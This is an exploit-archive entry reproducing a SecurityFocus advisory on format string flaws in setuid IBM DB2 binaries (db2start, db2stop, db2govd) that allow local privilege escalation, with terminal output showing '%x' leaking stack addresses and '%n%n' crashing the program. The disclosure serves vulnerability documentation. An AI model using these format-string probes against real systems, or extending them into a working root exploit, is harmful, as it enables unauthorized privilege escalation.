IBM DB2 - db2start Format String Arbitrary Code Execution
source: https://www.securityfocus.com/bid/8989/info Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges. [kf@RiotStarter adm]$ ./db2start %x SQL2032N The "bffff270" parameter is not valid. [kf@RiotStarter adm]$ ./db2start %n%n Segmentation fault [kf@RiotStarter adm]$ ./db2stop %x SQL2032N The "bffff6f0" parameter is not valid.
